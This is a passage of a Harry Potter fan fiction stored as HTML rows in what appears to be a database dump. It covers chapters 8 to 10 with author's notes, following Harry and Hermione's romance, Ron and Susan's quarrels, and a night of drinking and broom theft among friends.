wanted it to be something special, and\nhe intended to make it as perfect as he possibly could. &#8220;We can go upstairs.&#8221;\nHe began to get up from the sofa but Hermione pushed him back down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Close your eyes.&#8221; She said, and he obediently shut his emerald greens.\nHermione leaned down and kissed him, then stood back up and laid her cloak on\nhis lap. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry could hear the rustling of cloth as she laid something over his\nlap; he assumed it was her cloak, then nothing after a few more moments.\n&#8220;Hermione?&#8221; he asked aloud. He opened his eyes to find the room deserted. Harry\ngot up and picked up a candle, then turned to the fire and lit it. &#8220;Hermione?&#8221;\nhe called again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Follow the breadcrumbs, Harry!&#8221; Her voice came from upstairs. Harry\nwent towards the stairs and found her heels she had been wearing, one on the\nbottom step and the other about halfway up. At the top, hanging off a banister,\nwas her the ivory blouse she had had on, and then as he walked down the\nhallway, her skirt was tossed down on the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry walked on a bit longer; he had not seen any more clothes for a few\nmoments and was beginning to think he missed her when the candlelight caught a\nglimmer of something else lying on the floor. Harry moved forward swiftly and\npicked it up; he gulped hard when he saw it was her lacy navy blue bra. His\nbreathing came a bit more swiftly as he went down a few more paces and then saw\nher panties lying directly in front of the door that ironically, when Harry had\ncome there the first time, had picked to be his bedroom. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had just barely had time to wrap a sheet around her as the door\nslowly creaked open and Harry&#8217;s head appeared around the frame.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cute, Hermione.&#8221; He grinned and came into the room. &#8220;How did you know\nthis is the room I&#8217;ve been staying in here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t.&#8221; She said, moving towards the four poster bed. &#8220;I just\nguessed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked on appreciatively at the way the sheet fell around her; it\nalmost looked like an old Greek toga. He set the candle down on a dresser and\nmoved towards her slowly, almost as if he were trying to torture himself and\nher by prolonging the inevitable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Granger&#8230;&#8221; his voice was a low whisper as they met at the foot of the\nbed. &#8220;How did you know that navy blue is my favourite colour?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Another guess.&#8221; She leaned forward and their lips came together in an\nexplosive &nbsp;kiss, immediately tangling\ntongues, Hermione&#8217;s body was pressed against Harry&#8217;s. He brought his arms\naround her and they fell back on the bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*** Here&#8217;s where I leave you to your imaginations ;) ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Some time later, Hermione lay in Harry&#8217;s arms, still basking in what\nthey had just done. It had been marvellous, absolutely perfect, and she felt no\nregrets. Her eyes began to shut from drowsiness when Harry&#8217;s voice jerked her\nback into full consciousness.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221; Harry said softly, moving his arm a bit to wake her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mmmhmm&#8230;&#8221; her voice was barely audible as she tried to cling to sleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; his voice was a bit louder now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she asked sleepily, raising her head to look at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I need to tell you something.&#8221; Harry said seriously. She finally pulled\nher head up fully. &#8220;Remember when I told you I was just taking a break from\nschool?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; Her eyebrows were knitted together in confusion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I lied.&#8221; Harry licked his lips nervously. &#8220;I was kicked out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; she asked, immediately feeling sorry for not waking up before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was failing a course, and I cheated on the final.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;People flunk courses a lot; it&#8217;s not a big deal.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well yes, but that sort of thing doesn&#8217;t happen to me, I mean, I&#8217;m\nJames Potter&#8217;s son, I am supposed to do everything right.&#8221; Harry&#8217;s tone was\nbitter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, you shouldn&#8217;t have lied, I can handle things like that.&#8221;\nHermione propped herself on her side and looked down at him. &#8220;But I am glad you\ntold me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are?&#8221; Harry&#8217;s eyes flicked over to hers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just don&#8217;t do it again.&#8221; She replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What, cheat or lie?&#8221; a ghost of a smile was on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Either.&#8221; Hermione&#8217;s voice was soft as she smiled back at him. Harry\nleaned up and kissed her, then rolled back on top of her for another round.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well, here&#8217;s ch 8, unfortunately the only shag chapter for them in\nthis story&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AideeEight, your turn ;) LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks for reading, and as always don&#8217;t forget to read and review. Your\nresponses so far have been terrific!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 9, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 9</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well I&#8217;m glad everyone enjoyed the H/Hr shag ;) I know I did LOL&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I do apologise for the delay in this chapter, I have been busy with\nLOADS of schoolwork and then me and three friends went\nto the Jenny Jones show, which was a blast!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All my writing now, I&#8217;m sorry to way, will only be done on weekends due\nto a slip in my grades, so bear with me a few more weeks till I&#8217;m done with\nschool and have two weeks to write!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This chapter wasn&#8217;t supposed to have H/Hr in it, but once again, they&#8217;ve\ntaken over my mind and I&#8217;m giving them a little scene&#8230;. But it will mainly be\nR/S since they&#8217;ve had almost no airtime so far ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry landed them slowly on Hermione&#8217;s front porch, the lantern on the\nwall flickered on as soon as it sensed movement and Hermione rolled her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly&#8230;my mum does this to spy I swear!&#8221; she said, referring to the\nlights.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let her watch then.&#8221; Harry grinned, a devilish look coming into his\ngreen eyes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yuck.&#8221; Hermione frowned; her mother watching was just too gross a\nthought. &#8220;That&#8217;s really disgusting Harry.&#8221; He laughed in reply, then leaned\ndown and brought his lips to hers, immediately sweeping his tongue into her\nmouth. She pressed up against him, throwing her arms around his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They stayed on the porch for a long while, and Hermione finally pulled\naway to gulp some air into her lungs. Breathless, they both just stared at each\nother for a few long moments.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stay here tonight.&#8221; Hermione heard herself say. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry looked taken back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She licked her lips. &#8220;I want you to stay here; I don&#8217;t want our evening\nto end.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How would I&#8230;come in?&#8221; Harry asked. &#8220;I mean, if your mother is right\nthere inside your house she&#8217;ll see me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione thought a moment. &#8220;I&#8217;ll go in, and then in about three minutes,\nyou fly up behind the house, and my bedroom is the second window on the left.\nI&#8217;ll let you in that way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was still gaping at her. Hermione brought her hand up under his\nchin and snapped his mouth shut. &#8220;Close it, you&#8217;re letting in flies.&#8221; She\nraised herself up and kissed him lightly. &#8220;See you in three minutes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan giggled as Ron pinned her beneath him and kissed her again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron do that thing you did the other day at the\npizza parlour.&#8221; Susan said, needing him. She wanted him so badly at the moment;\nshe&#8217;d even marry him to get him in the sack. Again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just did!&#8221; Ron protested, but Susan raised a finger to his lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, do it again!&#8221; she insisted, rearranging\nher body beneath his. One smile from her was all it took, so he bent over her\nonce more, and began to work his way down&#8230;he would start kissing her lightly,\nteasingly, from her forehead, down her face, her cheeks, her lips, then go to\nher neck, suckling her skin lightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhhh Great Wizards&#8230;.&#8221; Susan moaned as Ron&#8217;s hands began to explore\nwhere his mouth wasn&#8217;t. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shhhh do you want to wake your parents?&#8221; Ron pulled\nhimself away from Susan.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron don&#8217;t stop!&#8221; Susan cried out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But you&#8217;re so loud!&#8221; Ron said in a loud whisper.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan looked around for a moment. &#8220;All right, okay, we&#8217;ll just go to my\nroom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your PARENTS!&#8221; Ron hissed for the second time.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They&#8217;re asleep!&#8221; Susan said sharply, beginning to be a bit frustrated. She\npulled Ron&#8217;s head down to hers, pressing her lips to his urgently. Ron groaned\nand began to respond; Susan tugged on his trousers until they were off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ummm&#8230;Ron&#8230;.&#8221; Her back was arched as his hand travelled down her side\nlightly, with the most fluent of caresses. &#8220;RON!!!&#8221; her voice rose to a low\nshout and Ron almost dropped her on the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m leaving!&#8221; his voice was finite. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, Ron!!&#8221; her pleas now fell on deaf ears as Ron got up and tried to\nwalk to the door and pull his trousers on at the same time. &#8220;Come on Ron&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue&#8230;I&#8217;ve got to go.&#8221; He tried not to look at her, because he knew if he\ndid, she&#8217;d convince him to stay. Susan walked over to him until his back was to\nthe door and pressed herself against him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just one more kiss.&#8221; She simply said, resting\nher chin on his chest and staring up at him imploringly. Ron sighed, and then\nsmiled as he looked at her. He bent his head down and kissed her again, and she\nraised herself up on her toes to deepen it. Susan teased his mouth for a few\nminutes and then began to open his shirt back up and press opened mouth kisses\nto his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you doing?&#8221; Ron&#8217;s voice was breathless and his head was thrown\nback against the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your little guy&#8230;&#8221; Susan answered. &#8220;He just needs a bit of fresh air&#8230;&#8221;\nshe successfully managed to pull his trousers back down and began to tug on his\nknickers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue!!&#8221; Ron&#8217;s voice was the loud one now. &#8220;Cut it out!!!!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she asked innocently, bringing herself back up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m telling you, we should be making a commitment before this keeps\ngoing on!&#8221; Ron exclaimed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right&#8230;.&#8221; Susan would say anything right now to keep things going\nher way. &#8220;But first things first.&#8221; She began to go\nback down when Ron grabbed her arms and pulled her back up. &#8220;What?&#8221; she asked\nagain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think we should be married!&#8221; Ron&#8217;s voice was now insistent. &#8220;Susan, I\nlove you, why do you keep avoiding the topic of us being married?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, I swear, if you keep talking about getting married I&#8217;m going to\nscream!&#8221; Susan warned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Marriage, married&#8230;&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;AHHHHHH!!!&#8221; Susan let out a scream.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;AHHHHHHHHHHHH!!&#8221; another voice answered her. Ron and Susan jumped apart\nand were horrified to find Mr. and Mrs. Bones standing in the doorway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;AHHHHH!!&#8221; Susan screamed again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;WHAT THE HELL?&#8221; Mr. Bones thundered. Ron was terrified of the shorter\nman as he lunged into the room. The worst part of all this was that Ron&#8217;s\ntrousers were still down around his knees. He ran behind the table as Mr. Bones\ntried to jump over it to get at him. Susan screamed and jumped on his back,\nwhile she shouted for Ron to run.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing happened, I swear!&#8221; Ron kept saying as Susan forcefully held\nher father back. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Run Ron!!&#8221; she was yelling as her father swore and shook his fist at\nRon. Ron finally got his trousers up and stumbled out the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you Mr. Bones!!!&#8221; he yelled back as he fell over onto the lawn\nand collapsed on his broom. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So there was my father, all 130 pounds of him, trying to kick the shit\nout of Ron, and Ron&#8217;s trying to be a gentleman and say nothing happened while\npulling his trousers up&#8230;.if I wasn&#8217;t so scared of how red my father&#8217;s face was,\nI&#8217;d have laughed myself silly.&#8221; Susan was giggling as she told Hermione and\nLavender what had happened the previous evening.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So close to a clean getaway.&#8221; Hermione said, wiping her eyes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why don&#8217;t you and Ron just get married?&#8221; Lavender wondered aloud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because&#8230;it&#8217;s more convenient this way.&#8221; Susan struggled\nto find the right words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What if you get knocked up?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not going to.&#8221; Susan replied confidently. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan!!!&#8221; a male voice cut through their conversation. &#8220;Hey Sue!&#8221; it\nwas Ron; he was sailing by on the river on his way out to get the catch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan looked up, an expectant smile on her face, which faded as soon as\nshe saw the boat. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you think?&#8221; Ron asked, grinning widely as he slapped his hand\nagainst the side of the boat. Instead of saying Susan, like it had, it now read\nShag Fiend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and Lavender both began to laugh uproariously, they clutched\nonto one another to keep from falling over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s not funny!&#8221; Susan was angry; her red hair was flying as she\ncharged down to the docks. &#8220;Whose side are you guys on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron and his friends were laughing as well as Susan came to the end of\nthe dock. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know something Ron? You are the biggest ASSHOLE!&#8221; Susan screamed.\n&#8220;I&#8217;m so glad now I never married you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come on!&#8221; Ron was no longer laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You think this is going to make me want to marry you? Well it&#8217;s not,\nbecause I don&#8217;t have to be married to a daft prick like you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue, I&#8217;m just joking!!&#8221; Ron was now beginning to look worried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can&#8217;t force me to do something I&#8217;m not ready to do!&#8221; Susan screamed\nas she reached the edge of the dock and the boat went sailing by. Hermione and\nLavender had come up behind her, still laughing. &#8220;And until I am, IF I EVER AM,\nTHE ANSWER IS NO!!! NO!!!!&#8221; she stamped her foot to make her point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue, I was joking!!!!&#8221; Ron&#8217;s voice faded away as the boat went further\ndown the river.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan turned around and glared at her two friends. &#8220;Thanks a lot, you\ntwo.&#8221; She said, marching back to the pier. &#8220;Nice to know I have two such great\nfriends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come on Sue, you heard him, he was joking!&#8221; Hermione used the same\ntone of voice Ron had, and Lavender nearly collapsed in a fit of the giggles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A crowd of people had gathered and were now applauding as the three of\nthem reached the pier. Susan set her mouth in a grim line.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Asshole.&#8221; She said as she walked by,\njerking her thumb over her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that&#8217;s it for ch 9 :) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Next up: a bit of a fighting chapter, and only one of them turns out\ngood&#8230;R/S and H/Hr</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please don&#8217;t forget to read and review, and hopefully the next chapter\nwill be up soon!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 10, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 10</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks for all the reviews on chapter 9, everyone who took the time\nto do so; it&#8217;s much appreciated to know you&#8217;re enjoying this!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hurry up Lavender!&#8221; Susan cried. She looked around to make sure Ron\nwasn&#8217;t coming out of the pub.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No kidding.&#8221; Hermione laughed, taking another swig of her beer from the\nbottle. &#8220;Ron get your big dumb ass out here!&#8221; she\nshrieked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up, both of you!&#8221; Lavender snapped. Susan had\ncome up with the bright idea of stealing Ron&#8217;s broom as revenge for his little\nshenanigan he pulled earlier. However, Ron put a locking spell\non his broom that none of them could seem to undo, so it was up to Lavender to\ntry different spells.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where&#8217;s Harry this weekend?&#8221; Susan asked Hermione as she swigged from\nher own bottle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s in Paris, with his\nfamily.&#8221; Hermione answered, her eyes taking on that dreamy look she always had\nwhen thinking of Harry. &#8220;They should be back tomorrow night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How come you didn&#8217;t go with?&#8221; Susan teased. &#8220;I mean, he&#8217;s already taken\nyou to Venice right? Why not Paris, and Sydney, and Chicago, and New Orleans&#8230;&#8221; she snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because his whole family went, and I hardly think it&#8217;s appropriate for\nme to go along when I haven&#8217;t even met them yet.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender and Susan stared at her. &#8220;I don&#8217;t think I&#8217;ve ever heard the\nword appropriate come out of your mouth before.&#8221; Lavender said, almost in\nshock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sneered at the two of them, then widened her eyes and pointed\nbehind them at the door to the pub. &#8220;Ron!&#8221; she cried out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan and Lavender both whirled around, their eyes wide with the fear of\nbeing caught, but no one was there, and Hermione was doubled over with\nlaughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was the best deer in the headlights look I&#8217;ve ever seen!&#8221; Hermione\nshrieked, nearly falling over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender glared at her and resumed her spells while Susan went over and\ntried to take her bottle away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Hermione squealed and the two girls laughed while playing tug of\nwar with the bottle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Found it!&#8221; Lavender called out triumphantly a few moments later. The\nthree of them clambered on and Lavender pulled them up and away from the pub.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get a horse you asshole!&#8221; Susan screamed as they flew into the trees.\nAfter a minute, they were extremely high above the trees and had nowhere to go.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where do we head to?&#8221; Lavender asked, pulling her jumper a little\ntighter around herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and Susan thought hard for a moment. &#8220;The\ncountry club!&#8221; Hermione said excitedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; Susan agreed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, that&#8217;s boring!&#8221; Lavender said. She hated going to the club, all\nthey did was sit on the lawn while Susan and Hermione drank and goofed off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, live a little!&#8221; Hermione&#8217;s voice rang out. Lavender sighed,\nthen steered the broom down to the large white building. She landed them softly\non the lawn and Susan and Hermione tumbled off, laughing their heads off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Music poured faintly from inside the club, a jazzy upbeat tune. Susan\nlooked at Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm? You want to do the jitterbug?&#8221; Susan asked,\nreferring to an old dance move that was popular some years ago. Hermione\nlaughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do I? I get to lead! Here Lav hold these for us.&#8221; she handed Lavender\nthe two bottles of beer and scrambled off the bench. She and Susan began\nhopping around the grass in a crazy dance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender laughed at them and began to walk across the sloping lawn\ntowards the clubhouse. She dumped the two bottles on an empty table next to a\ntrophy of some sort and gazed into the large bay window. People were dancing on\na floor, she admired the glittering dresses that many of the women were\nwearing, and the men were dressed formally in dress robes, a few in Muggle\ntuxedoes. She began to envision herself and Henry dancing around in a club like\nthat when she saw something that made her blood run\ncold.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry Potter. He was sitting inside, a drink in his hand. He was\nlaughing and chatting with a few other people his age, and at that moment, a\nstunning redhead tapped him on the shoulder and handed him a cloak, which he\nhelped her put on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender turned away from the window. &#8220;Come on, let&#8217;s go!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Susan and Hermione stopped their dancing and started to walk over\nto her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because, this is boring.&#8221; Lavender said,\ncoming away from the window rapidly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This isn&#8217;t boring, it&#8217;s fun!&#8221; Hermione said as she came closer. Her\neyes moved to the window and the expression on her face went from smiling 